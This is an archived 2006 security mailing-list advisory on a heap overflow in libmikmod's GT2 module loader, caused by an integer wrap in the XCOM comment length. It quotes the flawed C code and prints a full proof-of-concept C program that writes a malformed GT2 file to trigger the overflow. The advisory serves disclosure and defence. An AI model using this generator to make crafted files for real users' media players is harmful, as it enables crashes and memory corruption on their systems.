From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 25 Jul 2006 13:49:54 +0200
Subject: [NEWS] GT2 Loader of libmikmod Heap Overflow
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20060725125527.5ECAE57A5@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
GT2 Loader of libmikmod Heap Overflow
------------------------------------------------------------------------
SUMMARY
<http://sourceforge.net/projects/mikmod/> libmikmod is "a library mainly
used by Mikmod for playing different types of audio modules (669, amf,
asy, dsm, far, gdm, gt2, imf, it, m15, med, mod, mtm, okt, s3m, stm, stx,
ult, uni and xm)". During the handling of the XCOM chunk (a field which
contains an extra comment) libmikmod reads the 32 bit number which
specifies the size of the comment and then allocates an amount of memory
equal to this value plus one, probably for an optional but unused NULL
byte at the end of the comment.
DETAILS
The result of the bug is that the library allocates about zero bytes of
memory ("about" since MikMod_malloc allocates 20 bytes more than the
desired size) if an attacker uses the value 0xffffffff (0xffffffff + 1 =
0) and then tries to read the amount of memory specified by the size value
overflowing the allocated memory.
>From loaders/load_gt2.c:
GT_CHUNK *loadChunk(void)
...
if (!memcmp(new_chunk, "XCOM", 4)) {
new_chunk->xcom.chunk_size = _mm_read_M_ULONG(modreader);
new_chunk->xcom.comment_len = _mm_read_M_ULONG(modreader);
new_chunk->xcom.comment =
MikMod_malloc(new_chunk->xcom.comment_len + 1);
_mm_read_UBYTES(new_chunk->xcom.comment,
new_chunk->xcom.comment_len, modreader);
return new_chunk;
}
...
Exploit:
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#define VER "0.1"
#define cpy(x,y) strncpy(x, y, sizeof(x));
void fwi08(FILE *fd, int num);
void fwi16(FILE *fd, int num);
void fwi32(FILE *fd, int num);
void fwstr(FILE *fd, uint8_t *str);
void fwmem(FILE *fd, uint8_t *data, int size);
void std_err(void);
#pragma pack(1)
typedef struct {
uint8_t gt2[3];
uint8_t version;
uint32_t chunk_size;
uint8_t module[32];
uint8_t comments[160];
uint8_t date_day;
uint8_t date_month;
uint16_t date_year;
uint8_t tracker[24];
uint16_t speed;
uint16_t tempo;
uint16_t volume;
uint16_t voices;
/* voices * 2 */
} gt2_t;
#pragma pack()
int main(int argc, char *argv[]) {
FILE *fd;
gt2_t gt2;
int i;
char *fname;
setbuf(stdout, NULL);
fputs("\n"
"libmikmod <= 3.2.2 and current CVS heap overflow with GT2 files
"VER"\n"
"by Luigi Auriemma\n"
"e-mail: [email protected]\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <output_file.GT2>\n"
"\n", argv[0]);
exit(1);
}
fname = argv[1];
printf("- create file %s\n", fname);
fd = fopen(fname, "wb");
if(!fd) std_err();
gt2.gt2[0] = 'G';
gt2.gt2[1] = 'T';
gt2.gt2[2] = '2';
gt2.version = 4;
gt2.chunk_size = 0; // unused
cpy(gt2.module, "module_name");
cpy(gt2.comments, "author");
gt2.date_day = 1;
gt2.date_month = 1;
gt2.date_year = 2006;
cpy(gt2.tracker, "tracker");
gt2.speed = 6;
gt2.tempo = 300;
gt2.volume = 0;
gt2.voices = 0;
printf("- write GT2 header\n");
fwrite(>2, sizeof(gt2), 1, fd);
for(i = 0; i < gt2.voices; i++) fwi16(fd, 0);
printf("- build the XCOM header for exploiting the heap overflow\n");
fwmem(fd, "XCOM", 4);
fwi32(fd, 0); // unused
fwi32(fd, 0xffffffff); // bug here, 0xffffffff + 1 =
0
fwstr(fd,
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
fclose(fd);
printf("- finished\n");
return(0);
}
void fwi08(FILE *fd, int num) {
fputc((num ) & 0xff, fd);
}
void fwi16(FILE *fd, int num) {
fputc((num ) & 0xff, fd);
fputc((num >> 8) & 0xff, fd);
}
void fwi32(FILE *fd, int num) {
fputc((num ) & 0xff, fd);
fputc((num >> 8) & 0xff, fd);
fputc((num >> 16) & 0xff, fd);
fputc((num >> 24) & 0xff, fd);
}
void fwstr(FILE *fd, uint8_t *str) {
fputs(str, fd);
}
void fwmem(FILE *fd, uint8_t *data, int size) {
fwrite(data, size, 1, fd);
}
void std_err(void) {
perror("\nError");
exit(1);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@autistici.org.> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/lmmgt2ho-adv.txt>
http://aluigi.altervista.org/adv/lmmgt2ho-adv.txt
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.